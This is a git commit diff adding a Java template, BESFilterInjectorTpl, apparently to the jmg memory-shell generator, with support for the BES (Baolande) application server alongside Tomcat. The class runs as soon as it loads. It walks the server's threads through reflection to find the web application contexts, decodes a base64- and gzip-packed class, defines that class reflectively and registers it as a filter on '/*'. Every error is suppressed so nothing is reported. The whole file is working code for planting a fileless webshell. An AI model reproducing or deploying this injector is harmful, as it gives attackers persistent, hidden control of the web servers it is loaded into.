add: 添加对 BES（宝兰德）Filter/Listener 的支持

Author: pen4uin

jmg-core/src/main/java/jmg/core/template/BESFilterInjectorTpl.java

@@ -0,0 +1,258 @@
+package jmg.core.template;
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+
+public class BESFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new BESFilterInjectorTpl();
+    }
+
+    public BESFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList();
+        Thread[] threads = getThreads();
+        try {
+            for (Thread thread : threads) {
+                if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        for (Object key1 : children.keySet()) {
+                            Object context = children.get(key1);
+                            if (context != null) contexts.add(context);
+                        }
+                    }
+                }
+            }
+        } catch (Exception ignored) {
+
+        }
+        return contexts;
+    }
+
+    public Thread[] getThreads() {
+        Thread[] var0 = null;
+
+        try {
+            var0 = (Thread[]) (invokeMethod(Thread.class, "getThreads"));
+        } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException var3) {
+            ThreadGroup var2 = Thread.currentThread().getThreadGroup();
+            var0 = new Thread[var2.activeCount()];
+            var2.enumerate(var0);
+        }
+
+        return var0;
+    }
+
+    private Object getFilter(Object context) throws Exception {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e1) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Exception ignored) {
+
+            }
+
+        }
+        return filter;
+    }
+
+    public void addFilter(Object context, Object filter) throws Exception {
+        String filterName = filter.getClass().getSimpleName();
+        if (isInjected(context, filterName)) {
+            return;
+        }
+        try {
+            Object filterDef;
+            Object filterMap;
+            try {
+                filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
+                filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+            } catch (Exception e2) {
+                try {
+                    filterDef = Class.forName("com.bes.enterprise.util.descriptor.web.FilterDef").newInstance();
+                    filterMap = Class.forName("com.bes.enterprise.util.descriptor.web.FilterMap").newInstance();
+                } catch (Exception e3) {
+                    filterDef = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
+                    filterMap = Class.forName("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
+                }
+            }
+            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
+            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
+            invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+            Constructor<?>[] constructors;
+            try {
+                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
+            } catch (Exception e) {
+                constructors = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
+            }
+            try {
+                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            } catch (Exception e) {
+                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            }
+            constructors[0].setAccessible(true);
+            Object filterConfig = constructors[0].newInstance(context, filterDef);
+            Map filterConfigs = (Map) getFV(context, "filterConfigs");
+            filterConfigs.put(filterName, filterConfig);
+
+        } catch (Exception ignored) {
+
+        }
+    }
+
+
+    public boolean isInjected(Object context, String filterName) throws Exception {
+        Map filterConfigs = (Map) getFV(context, "filterConfigs");
+        for (Object key : filterConfigs.keySet()) {
+            if (key.toString().contains(filterName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    synchronized void setFV(Object var0, String var1, Object val) throws Exception {
+        getF(var0, var1).set(var0, val);
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}